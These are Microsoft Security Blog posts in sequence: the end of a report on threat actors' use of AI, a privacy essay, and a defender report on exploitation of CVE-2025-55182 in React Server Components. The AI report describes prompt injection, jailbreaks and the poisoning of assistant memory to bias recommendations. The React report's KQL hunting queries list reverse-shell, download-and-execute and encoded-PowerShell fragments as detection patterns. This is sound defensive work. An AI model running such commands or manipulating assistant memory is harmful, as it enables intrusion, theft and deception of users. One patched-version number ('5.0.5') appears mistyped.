While generative AI currently makes up most of observed threat actor activity involving AI, Microsoft Threat Intelligence is beginning to see early signals of a transition toward more agentic uses of AI. Agentic AI systems rely on the same underlying models but are integrated into workflows that pursue objectives over time, including planning steps, invoking tools, evaluating outcomes, and adapting behavior without continuous human prompting. For threat actors, this shift could represent a meaningful change in tradecraft by enabling semi‑autonomous workflows that continuously refine phishing campaigns, test and adapt infrastructure, maintain persistence, or monitor open‑source intelligence for new opportunities. Microsoft has not yet observed large-scale use of agentic AI by threat actors, largely due to ongoing reliability and operational constraints. Nonetheless, real-world examples and proof-of-concept experiments illustrate the potential for these systems to support automated reconnaissance, infrastructure management, malware development, and post-compromise decision-making.

AI-enabled malware

Threat actors are exploring AI‑enabled malware designs that embed or invoke models during execution rather than using AI solely during development. Public reporting has documented early malware families that dynamically generate scripts, obfuscate code, or adapt behavior at runtime using language models, representing a shift away from fully pre‑compiled tooling. Although these capabilities remain limited by reliability, latency, and operational risk, they signal a potential transition toward malware that can adapt to its environment, modify functionality on demand, or reduce static indicators relied upon by defenders. At present, these efforts appear experimental and uneven, but they serve as an early signal of how AI may be integrated into future operations.

Threat actor exploitation of AI systems and ecosystems

Beyond using AI to scale operations, threat actors are beginning to misuse AI systems as targets or operational enablers within broader campaigns. As enterprise adoption of AI accelerates and AI-driven capabilities are embedded into business processes, these systems introduce new attack surfaces and trust relationships for threat actors to exploit. Observed activity includes prompt injection techniques designed to influence model behavior, alter outputs, or induce unintended actions within AI-enabled environments. Threat actors are also exploring supply chain use of AI services and integrations, leveraging trusted AI components, plugins, or downstream connections to gain indirect access to data, decision processes, or enterprise workflows.

Alongside these developments, Microsoft security researchers have recently observed a growing trend of legitimate organizations leveraging a technique known as AI recommendation poisoning for promotion gain. This method involves the intentional poisoning of AI assistant memory to bias future responses toward specific sources or products. In these cases, Microsoft identified attempts across multiple AI platforms where companies embedded prompts designed to influence how assistants remember and prioritize certain content. While this activity has so far been limited to enterprise marketing use cases, it represents an emerging class of AI memory poisoning attacks that could be misused by threat actors to manipulate AI-driven decision-making, conduct influence operations, or erode trust in AI systems.

Mitigation guidance for AI-enabled threats

Three themes stand out in how threat actors are operationalizing AI:

• Threat actors are leveraging AI‑enabled attack chains to increase scale, persistence, and impact, by using AI to reduce technical friction and shorten decision‑making cycles across the cyberattack lifecycle, while human operators retain control over targeting and deployment decisions.
• The operationalization of AI by threat actors represents an intentional misuse of AI models for malicious purposes, including the use of jailbreaking techniques to bypass safeguards and accelerate post‑compromise operations such as data triage, asset prioritization, tooling refinement, and monetization.
• Emerging experimentation with agentic AI signals a potential shift in tradecraft, where AI‑supported workflows increasingly assist iterative decision‑making and task execution, pointing to faster adaptation and greater resilience in future intrusions.

As threat actors continuously adapt their workflows, defenders must stay ahead of these transformations. The considerations below are intended to help organizations mitigate the AI‑enabled threats outlined in this blog.

Enterprise AI risk discovery and management: Threat actor misuse of AI accelerates risk across enterprise environments by amplifying existing threats such as phishing, malware threats, and insider activity. To help organizations stay ahead of AI-enabled threat activity, Microsoft has introduced the Security Dashboard for AI, which is now in public preview. The dashboard provides users with a unified view of AI security posture by aggregating security, identity, and data risk across Microsoft Defender, Microsoft Entra, and Microsoft Purview. This allows organizations to understand what AI assets exist in their environment, recognize emerging risk patterns, and prioritize governance and security across AI agents, applications, and platforms. To learn more about the Microsoft Security Dashboard for AI see: Assess your organization’s AI risk with Microsoft Security Dashboard for AI (Preview).

Additionally, Microsoft Agent 365 serves as a control plane for AI agents in enterprise environments, allowing users to manage, govern, and secure AI agents and workflows while monitoring emerging risks of agentic AI use. Agent 365 supports a growing ecosystem of agents, including Microsoft agents, broader ecosystems of agents such as Adobe and Databricks, and open-source agents published on GitHub.

Insider threats and misuse of legitimate access: Threat actors such as North Korean remote IT workers rely on long‑term, trusted access. Because of this fact, defenders should treat fraudulent employment and access misuse as an insider‑risk scenario, focusing on detecting misuse of legitimate credentials, abnormal access patterns, and sustained low‑and‑slow activity. For detailed mitigation and remediation guidance specific to North Korean remote IT worker activity including identity vetting, access controls, and detections, please see the previous Microsoft Threat Intelligence blog on Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations.

• Use Microsoft Purview to manage data security and compliance for Entra-registered AI apps and other AI apps.
• Activate Data Security Posture Management (DSPM) for AI to discover, secure, and apply compliance controls for AI usage across your enterprise.
• Audit logging is turned on by default for Microsoft 365 organizations. If auditing isn’t turned on for your organization, a banner appears that prompts you to start recording user and admin activity. For instructions, see Turn on auditing.
• Microsoft Purview Insider Risk Management helps you detect, investigate, and mitigate internal risks such as IP theft, data leakage, and security violations. It leverages machine learning models and various signals from Microsoft 365 and third-party indicators to identify potential malicious or inadvertent insider activities. The solution includes privacy controls like pseudonymization and role-based access, ensuring user-level privacy while enabling risk analysts to take appropriate actions.
• Perform analysis on account images using open-source tools such as FaceForensics++ to determine prevalence of AI-generated content. Detection opportunities within video and imagery include:
  • Temporal consistency issues: Rapid movements cause noticeable artifacts in video deepfakes as the tracking system struggles to maintain accurate landmark positioning.
  • Occlusion handling: When objects pass over the AI-generated content such as the face, deepfake systems tend to fail at properly reconstructing the partially obscured face.
  • Lighting adaptation: Changes in lighting conditions might reveal inconsistencies in the rendering of the face
  • Audio-visual synchronization: Slight delays between lip movements and speech are detectable under careful observation
    • Exaggerated facial expressions.
    • Duplicative or improperly placed appendages.
    • Pixelation or tearing at edges of face, eyes, ears, and glasses.
• Use Microsoft Purview Data Lifecycle Management to manage the lifecycle of organizational data by retaining necessary content and deleting unnecessary content. These tools ensure compliance with business, legal, and regulatory requirements.
• Use retention policies to automatically retain or delete user prompts and responses for AI apps. For detailed information about this retention works, see Learn about retention for Copilot and AI apps.

Phishing and AI-enabled social engineering: Defenders should harden accounts and credentials against phishing threats. Detection should emphasize behavioral signals, delivery infrastructure, and message context instead of solely on static indicators or linguistic patterns. Microsoft has observed and disrupted AI‑obfuscated phishing campaigns using this approach. For a detailed example of how Microsoft detects and disrupts AI‑assisted phishing campaigns, see the Microsoft Threat Intelligence blog on AI vs. AI: Detecting an AI‑obfuscated phishing campaign.

• Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attack tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Turn on Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly-acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Enable network protection in Microsoft Defender for Endpoint.
• Enforce MFA on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, at all times.
• Follow Microsoft’s security best practices for Microsoft Teams.
• Configure the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients.
• Use Prompt Shields in Azure AI Content Safety. Prompt Shields is a unified API that analyzes inputs to LLMs and detects adversarial user input attacks. Prompt Shields is designed to detect and safeguard against both user prompt attacks and indirect attacks (XPIA).
• Use Groundedness Detection to determine whether the text responses of LLMs are grounded in the source materials provided by the users.
• Enable threat protection for AI services in Microsoft Defender for Cloud to identify threats to generative AI applications in real time and for assistance in responding to security issues.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide additional intelligence on actor tactics Microsoft security detection and protections, and actionable recommendations to prevent, mitigate, or respond to associated threats found in customer environments:

• Actor profile: Jasper Sleet
• Actor profile: Coral Sleet (formerly Storm-1877)
• Actor profile: Moonstone Sleet
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Finding potentially spoofed emails

EmailEvents
| where EmailDirection == "Inbound"
| where Connectors == ""  // No connector used
| where SenderFromDomain in ("contoso.com") // Replace with your domain(s)
| where AuthenticationDetails !contains "SPF=pass" // SPF failed or missing
| where AuthenticationDetails !contains "DKIM=pass" // DKIM failed or missing
| where AuthenticationDetails !contains "DMARC=pass" // DMARC failed or missing
| where SenderIPv4 !in ("") // Exclude known relay IPs
| where ThreatTypes has_any ("Phish", "Spam") or ConfidenceLevel == "High" // 
| project Timestamp, NetworkMessageId, InternetMessageId, SenderMailFromAddress,
          SenderFromAddress, SenderDisplayName, SenderFromDomain, SenderIPv4,
          RecipientEmailAddress, Subject, AuthenticationDetails, DeliveryAction

Surface suspicious sign-in attempts

EntraIdSignInEvents
| where IsManaged != 1
| where IsCompliant != 1
//Filtering only for medium and high risk sign-in
| where RiskLevelDuringSignIn in (50, 100)
| where ClientAppUsed == "Browser"
| where isempty(DeviceTrustType)
| where isnotempty(State) or isnotempty(Country) or isnotempty(City)
| where isnotempty(IPAddress)
| where isnotempty(AccountObjectId)
| where isempty(DeviceName)
| where isempty(AadDeviceId)
| project Timestamp,IPAddress, AccountObjectId, ApplicationId, SessionId, RiskLevelDuringSignIn, Browser

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following hunting queries can also be found in the Microsoft Defender portal for customers who have Microsoft Defender XDR installed from the Content Hub, or accessed directly from GitHub.

• Spoof and impersonation phish detections

References

• https://www.anthropic.com/news/disrupting-AI-espionage

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post AI as tradecraft: How threat actors operationalize AI appeared first on Microsoft Security Blog.

For decades, Microsoft has consistently prioritized earning and maintaining the trust of the people and organizations that rely on its technologies. The 2025 Axios Harris Poll 100 ranked Microsoft as one of the top three most trusted brands in the United States.¹ At Microsoft, we believe one of the best ways we can build trust is through our long-established core values of respect, accountability, and integrity. We also instill confidence in our approach to regulations by demonstrating rigorous internal compliance discipline—such as regular audits, cross-functional reviews, and executive oversight—that mirrors the reliability we extend to customers externally.

Microsoft Trust Center

Our mission is to empower everyone to achieve more, and we build our products and services with security, privacy, compliance, and transparency in mind.

Explore products and services

Here at Microsoft, we are grounded in the belief that privacy is a human right, and we safeguard it as such. Whether you’re an individual using Microsoft 365 or a global enterprise running mission-critical workloads on Microsoft Azure, your privacy is protected by design. In my role as Vice President for Microsoft Security and Deputy CISO for Privacy and Policy at Microsoft, I see privacy and security as two sides of the same coin—complementary priorities that strengthen each other. They’re inseparable, and they can be simultaneously delivered to customers at the highest standard, whether they rely on Microsoft as data processor or data controller.

There are plenty of people out there who view the relationship between security and privacy as one of tension and conflict, but that doesn’t need to be the case. Within my team, we embrace differing viewpoints from security- and privacy-focused individuals as a core principle and a mechanism for refining our quality of work. To show you how we do this, I’d like to walk you through a few of the ways Microsoft delivers both security and privacy to its customers.

Security and privacy, implemented at scale

Our approach to safeguarding customer data is rooted in a philosophy that prioritizes security without the need for access to the data itself. Think of it as building a fortress where the walls (security) protect the treasures inside (data privacy) without ever needing to peek at them. Microsoft customers retain full ownership and control of their data, as outlined in our numerous privacy statements and commitments. We do not mine customer data for advertising, and customers can choose where their data resides geographically. Even when governments request access, we adhere to strict legal and contractual protocols to protect the interests of our customers.

A number of Microsoft technologies play important roles in the implementation of our privacy policy. Microsoft Entra, and in particular its Private Access capability, replaces legacy VPNs with identity-centric Zero Trust Network Access, allowing organizations to grant granular access to private applications without exposing their entire network. Microsoft Entra ID serves as the backbone for identity validation, ensuring that only explicitly trusted users and devices can access sensitive resources. This is complemented by the information protection and governance capabilities of Microsoft Purview, which enables organizations to classify, label, and protect data across Microsoft 365, Azure, and their third-party platforms. Microsoft Purview also supports automated data discovery, policy enforcement, and compliance reporting.

The beating heart of the Microsoft security strategy is the Secure Future Initiative. We assume breach and mandate verification for every access request, regardless of origin. Every user, every action, and every resource is continuously authenticated and authorized. Automated processes, like our Conditional Access policies, dynamically evaluate multiple factors like user identity, device health, location, and session risk before granting access. Support workers can access customer data only with the explicit approval of the customer through Customer Lockbox, which gives customers authorization and auditability controls over how and when Microsoft engineers may access their data. Once authorized by a customer, support workers may only access customer data through highly secure, monitored environments like hardened jump hosts—air-gapped Azure virtual machines that require multifactor authentication and employ just-in-time access gates.

Privacy is a human right

The intersection of privacy and security is not just a theoretical concept for Microsoft. It’s a practical reality that we work to embody through comprehensive, layered strategies and technical implementations. By using advanced solutions like Microsoft Entra and Microsoft Purview and adhering to the principles set out in our Secure Future Initiative, we help ensure that our customers’ data is protected at every level.

We demonstrate our commitment to privacy through our proactive approach to regulatory compliance, our tradition of transforming legal obligations into opportunities for innovation, and our commitment to earning the trust of our customers. Global and region-specific privacy, cybersecurity, and AI regulations often evolve over time. Microsoft embraces regulations not just as legal obligations but as strategic opportunities through which we can reinforce our commitments to privacy and security. This is exactly what we did when the European General Data Protection Regulation (GDPR) came into effect in May of 2018, and we’ve applied similar principles to emerging frameworks like India’s Digital Personal Data Protection Act (DPDP), the EU’s Network and Information Systems Directive 2 (NIS2) for cybersecurity, the Digital Operational Resilience Act (DORA) for financial sector resilience, and the EU AI Act for responsible AI governance.

Using regulatory compliance as a lever for innovation

Microsoft publicly cheered the GDPR as a step forward for individual privacy rights, and we committed ourselves to full compliance across our cloud services. We soon became an early adopter of the GDPR, adding GDPR-specific assurances to our cloud service contracts, including breach notification timelines and data subject rights.

Because we believe so strongly in these protections, our compliance efforts quickly became the foundation for a broader, proactive transformation of our privacy and security posture. First, we established a company-wide framework that formalized privacy responsibilities and safeguards. It mandated robust technical and organizational measures designed to protect personal data companywide, now aligned with cybersecurity standards like those in NIS2.

As part of this framework, Microsoft appointed data protection officers and identified corporate vice presidents in each business unit to provide group-level accountability. Microsoft also built what we believe is one of the most comprehensive privacy and compliance platforms in the industry. This platform is the result of a company-wide effort to give customers real control over their personal data, experienced with consistency across our products, while seamlessly integrating security and regulatory compliance.

To operationalize these commitments, we developed advertising and data deletion protocols that made sure data subject requests (DSRs) were honored across all our systems, including those managed by third-party vendors. Microsoft extended GDPR-like principles to customers globally. This initiative emphasized data minimization, consent management, and timely breach reporting. It also reinforced customers’ rights to access, correct, delete, and export their personal data.

Expanding from this foundation, we continue to take a proactive stance on emerging global regulations. For DPDP in India, we enhanced data localization and consent mechanisms in Azure to help organizations comply with local privacy mandates while maintaining robust security. Under NIS2 and DORA, our tools like Microsoft Defender for Cloud enable critical sectors to detect, respond, and build operational resilience—creating cybersecurity as the shield that protects privacy rights.

For the EU AI Act, Microsoft Responsible AI tools integrated with Microsoft Purview enable governance, classification, and compliance tracking of AI models, ensuring transparency and accountability across the AI lifecycle. In parallel, Microsoft Defender for Cloud extends protection for AI workloads and data environments, ensuring AI systems are secure, monitored, and resilient — much like a traffic light system that signals safe passage for innovation while mitigating risk.

Thanks to this early, decisive action to safeguard privacy and security worldwide, Microsoft is now in a strong leadership position as similar laws are passed by a growing number of countries. Because we’ve already gone above and beyond what initial regulations asked of us, we’re more easily able to adapt to the specifics of other related legal frameworks.

Learn more

To hear more from Microsoft Deputy CISOs, check out the OCISO blog series. To stay on top of important security industry updates, explore resources specifically designed for CISOs, and learn best practices for improving your organization’s security posture, join the Microsoft CISO Digest distribution list.

• Visit the Microsoft Trust Center to better understand your privacy rights and find ways to improve your security posture.
• To learn how Microsoft empowers organizations to innovate securely, explore Microsoft Security Solutions.
• Discover how to build digital trust with Microsoft Purview.
• See how Microsoft helps you turn compliance into competitive advantage, by exploring Microsoft Purview Compliance Manager.

Microsoft
Deputy CISOs

To hear more from Microsoft Deputy CISOs, check out the OCISO blog series:

To stay on top of important security industry updates, explore resources specifically designed for CISOs, and learn best practices for improving your organization’s security posture, join the Microsoft CISO Digest distribution list.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹The 2025 Axios Harris Poll 100 reputation rankings

The post How Microsoft builds privacy and security to work hand-in-hand appeared first on Microsoft Security Blog.

Exploitation activity related to this vulnerability was detected as early as December 5, 2025. Most successful exploits originated from red team assessments; however, we also observed real-world exploitation attempts by threat actors delivering multiple subsequent payloads, majority of which are coin miners. Both Windows and Linux environments have been observed to be impacted.

The React Server Components ecosystem is a collection of packages, frameworks, and bundlers that enable React 19 applications to run parts of their logic on the server rather than the browser. It uses the Flight protocol to communicate between client and server. When a client requests data, the server receives a payload, parses this payload, executes server-side logic, and returns a serialized component tree. The vulnerability exists because affected React Server Components versions fail to validate incoming payloads. This could allow attackers to inject malicious structures that React accepts as valid, leading to prototype pollution and remote code execution.

This vulnerability presents a significant risk because of the following factors:

• Default configurations are vulnerable, requiring no special setup or developer error.
• Public proof-of-concept exploits are readily available with near-100% reliability.
• Exploitation can happen without any user authentication since this is a pre-authentication vulnerability.
• The vulnerability could be exploited using a single malicious HTTP request.

In this report, Microsoft Defender researchers share insights from observed attacker activity exploiting this vulnerability. Detailed analyses, detection insights, as well as mitigation recommendations and hunting guidance are covered in the next sections. Further investigation towards providing stronger protection measures is in progress, and this report will be updated when more information becomes available.

Analyzing CVE-2025-55182 exploitation activity

React is widely adopted in enterprise environments. In Microsoft Defender telemetry, we see tens of thousands of distinct devices across several thousand organizations running some React or React-based applications. Some of the vulnerable applications are deployed inside containers, and the impact on the underlying host is dependent on the security configurations of the container.

We identified several hundred machines across a diverse set of organizations compromised using common tactics, techniques, and procedures (TTPs) observed with web application RCE. To exploit CVE-2025-55182, an attacker sends a crafted input to a web application running React Server Components functions in the form of a POST request. This input is then processed as a serialized object and passed to the backend server, where it is deserialized. Due to the default trust among the components, the attacker-provided input is then deserialized and the backend runs attacker-provided code under the NodeJS runtime.

Post-exploitation, attackers were observed to run arbitrary commands, such as reverse shells to known Cobalt Strike servers. To achieve persistence, attackers added new malicious users, utilized remote monitoring and management (RMM) tools such as MeshAgent, modified authorized_keys file, and enabled root login. To evade security defenses, the attackers downloaded from attacker-controlled CloudFlare Tunnel endpoints (for example, *.trycloudflare.com) and used bind mounts to hide malicious processes and artifacts from system monitoring tools.

The malware payloads seen in campaigns investigated by Microsoft Defender vary from remote access trojans (RATs) like VShell and EtherRAT, the SNOWLIGHT memory-based malware downloader that enabled attackers to deploy more payloads to target environments, ShadowPAD, and XMRig cryptominers. The attacks proceeded by enumerating system details and environment variables to enable lateral movement and credential theft.

Credentials that were observed to be targeted included Azure Instance Metadata Service (IMDS) endpoints for Azure, Amazon Web Services (AWS), Google Cloud Platform (GCP), and Tencent Cloud to acquire identity tokens, which could be used to move laterally to other cloud resources. Attackers also deployed secret discovery tools such as TruffleHog and Gitleaks, along with custom scripts to extract several different secrets. Attempts to harvest AI and cloud-native credentials, such as OpenAI API keys, Databricks tokens, and Kubernetes service‑account credentials were also observed. Azure Command-Line Interface (CLI) (az) and Azure Developer CLI (azd) were also used to obtain tokens.

Mitigation and protection guidance

Microsoft recommends customers to act on these mitigation recommendations:

Manual identification guidance

Until full in-product coverage is available, you can manually assess exposure on servers or containers:

1. Navigate to your project directory and open the node_modules folder.
2. Review installed packages and look for:
   • react-server-dom-webpack
   • react-server-dom-parcel
   • react-server-dom-turbopack
   • next
3. Validate versions against the known affected range:
   • React: 19.0.0,19.1.0, 19.1.1, 19.2.0
   • Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6, 14.3.0-canary.77 and later canary releases
4. If any of these packages match the affected versions, remediation is required. Prioritize internet-facing assets first, especially those identified by Defender as externally exposed.

Mitigation best practices

1. Patch immediately
   • React and Next.js have released fixes for the impacted packages. Upgrade to one of the following patched versions (or later within the same release line):
     • React: 19.0.1, 19.1.2, 19.2.1
     • Next.js: 5.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
   • Because many frameworks and bundlers rely on these packages, make sure your framework-level updates also pull in the corrected dependencies.
2. Prioritize exposed services
   • Patch all affected systems, starting with internet-facing workloads.
   • Use Microsoft Defender Vulnerability Management (MDVM) to surface vulnerable package inventory and to track remediation progress across your estate.
3. Monitor for exploit activity
   • Review MDVM dashboards and Defender alerts for indicators of attempted exploitation.
   • Correlate endpoint, container, and cloud signals for higher confidence triage.
   • Invoke incident response process to address any related suspicious activity stemming from this vulnerability.
4. Add WAF protections where appropriate
   • Apply Azure Web Application Firewall (WAF) custom rules for Application Gateway and Application Gateway for Containers to help block exploit patterns while patching is in progress. Microsoft has published rule guidance and JSON examples in the Azure Network Security Blog, with ongoing updates as new attack permutations are identified.

Recommended customer action checklist

• Identify affected React Server Components packages in your applications and images.
• Upgrade to patched versions. Refer to the React page for patching guidance.
• Prioritize internet-facing services for emergency change windows.
• Enable and monitor Defender alerts tied to React Server Components exploitation attempts.
• Apply Azure WAF custom rules as a compensating control where feasible.
• Use MDVM to validate coverage and confirm risk reduction post-update.

CVE-2025-55182 represents a high-impact, low-friction attack path against modern React Server Components deployments. Rapid patching combined with layered Defender monitoring and WAF protections provides the strongest short-term and long-term risk reduction strategy.

Microsoft Defender XDR detections 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

In many cases subsequent activity post exploitation was detected and following alerts were triggered on the victim devices. Note that the following alerts below can also be triggered by unrelated threat activity.

Automatic attack disruption through Microsoft Defender for Endpoint alerts

To better support customers in the event of exploitation, we are expanding our detection framework to identify and alert on CVE-2025-55182 activity across all operating systems for Microsoft Defender for Endpoint customers. These detections are integrated with automatic attack disruption.

When these alerts, combined with other signals, provide high confidence of active attacker behavior, automatic attack disruption can initiate autonomous containment actions to help stop the attack and prevent further progression.

Microsoft Defender Vulnerability Management and Microsoft Defender for Cloud

Microsoft Defender for Cloud rolled out support to surface CVE-2025-55182 with agentless scanning across containers and cloud virtual machines (VMs). Follow the documentation on how to enable agentless scanning:

• Protect your servers with Defender for Servers
• Defender for Containers Deployment Overview

Microsoft Defender Vulnerability Management (MDVM) can surface impacted Windows, Linux, and macOS devices. In addition, MDVM and Microsoft Defender for Cloud dashboards can surface:

• Identification of exposed assets in the organization
• Clear remediation guidance tied to your affected assets and workloads

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Vulnerability Profile: CVE-2025-55182 – React Server Components

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries and recommendations

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Detect potential React2Shell command injection attempt

CloudAuditEvents
| where (ProcessCommandLine == "/bin/sh -c (whoami)" and (ParentProcessName == "node" or ParentProcessName has "next-server"))
        or (ProcessCommandLine has_any ("echo","powershell") and ProcessCommandLine matches regex @'(echo\s+\$\(\(\d+\*\d+\)\)|powershell\s+-c\s+"\d+\*\d+")')
| project Timestamp, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, FileName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Identify encoded PowerShell attempts

let lookback = 10d;
DeviceProcessEvents
| where Timestamp >= ago(lookback)
| where InitiatingProcessParentFileName has "node"
| where InitiatingProcessCommandLine  has_any ("next start", "next-server") or ProcessCommandLine  has_any ("next start", "next-server")
| summarize  make_set(InitiatingProcessCommandLine), make_set(ProcessCommandLine) by DeviceId, Timestamp
//looking for powershell activity
| where set_ProcessCommandLine  has_any ("cmd.exe","powershell")
| extend decoded_powershell_1 = replace_string(tostring(base64_decode_tostring(tostring(split(tostring(split(set_ProcessCommandLine.[0],"EncodedCommand ",1).[0]),'"',0).[0]))),"\0","")
| extend decoded_powershell_1b = replace_string(tostring(base64_decode_tostring(tostring(split(tostring(split(set_ProcessCommandLine.[0],"Enc ",1).[0]),'"',0).[0]))),"\0","")
| extend decoded_powershell_2 = replace_string(tostring(base64_decode_tostring(tostring(split(tostring(split(set_ProcessCommandLine.[0],"enc ",1).[0]),'"',0).[0]))),"\0","")
| extend decoded_powershell_3 = replace_string(tostring(base64_decode_tostring(tostring(split(tostring(split(set_ProcessCommandLine.[0],"ec ",1).[0]),'"',0).[0]))),"\0","")
| where set_ProcessCommandLine !has "'powershell -c " 
| extend decoded_powershell = iff( isnotempty( decoded_powershell_1),decoded_powershell_1, 
                                                    iff(isnotempty( decoded_powershell_2), decoded_powershell_2,
                                                        iff(isnotempty( decoded_powershell_3), decoded_powershell_3,decoded_powershell_1b)))
| project-away decoded_powershell_1, decoded_powershell_1b, decoded_powershell_2,decoded_powershell_3
| where isnotempty( decoded_powershell)

Identify execution of suspicious commands initiated by the next-server parent process post-exploitation

let lookback = 10d;
DeviceProcessEvents
| where Timestamp >= ago(lookback)
| where InitiatingProcessFileName =~ "node.exe" and InitiatingProcessCommandLine has ".js"
| where FileName =~ "cmd.exe"
| where (ProcessCommandLine has_any (@"\next\", @"\npm\npm\node_modules\", "\\server.js")
    and (ProcessCommandLine has_any ("powershell -c \"", "curl", "wget", "echo $", "ipconfig", "start msiexec", "whoami", "systeminfo", "$env:USERPROFILE", "net user", "net group", "localgroup administrators",  "-ssh", "set-MpPreference", "add-MpPreference", "rundll32", "certutil", "regsvr32", "bitsadmin", "mshta", "msbuild")   
         or (ProcessCommandLine has "powershell" and
             (ProcessCommandLine has_any ("Invoke-Expression", "DownloadString", "DownloadFile", "FromBase64String", "Start-Process", "System.IO.Compression", "System.IO.MemoryStream", "iex ", "iex(", "Invoke-WebRequest", "iwr ", ".UploadFile", "System.Net.WebClient")
                or ProcessCommandLine matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))))
   or ProcessCommandLine matches regex @'cmd\.exe\s+/d\s+/s\s+/c\s+"powershell\s+-c\s+"[0-9]+\*[0-9]+""'

Identify execution of suspicious commands initiated by the next-server parent process post-exploitation

let lookback = 10d;
DeviceProcessEvents
| where Timestamp >= ago(lookback)
| where InitiatingProcessFileName == "node"
| where InitiatingProcessCommandLine has_any (" server.js", " start", "/server.js")
| where ProcessCommandLine  has_any ("| sh", "openssl,", "/dev/tcp/", "| bash", "|sh", "|bash", "bash,", "{sh,}", "SOCK_STREAM", "bash -i", "whoami", "| base64 -d", "chmod +x /tmp", "chmod 777")
| where ProcessCommandLine !contains "vscode" and ProcessCommandLine !contains "/.claude/"  and ProcessCommandLine !contains "/claude"

Microsoft Defender XDR’s blast radius analysis capability, incorporated into the incident investigation view, allows security teams to visualize and understand the business impact of a security compromise by showing potential propagation paths towards the organization’s critical assets before it escalates into a full blown incident. This capability merges pre-breach estate understanding with post-breach views allowing security teams to map their interconnected assets and highlights potential paths teams can prioritize for remediation efforts based on the criticality of assets and their interconnectivity to the compromised entities.

Microsoft Defender for Cloud

Microsoft Defender for Cloud customers can use security explorer templates to locate exposed containers running vulnerable container images and vulnerable virtual machines. Template titled Internet exposed containers running container images vulnerable to React2Shell vulnerability CVE-2025-55182 and Internet exposed virtual machines vulnerable to React2Shell vulnerability CVE-2025-55182 are added to the gallery.

Microsoft Security Exposure Management

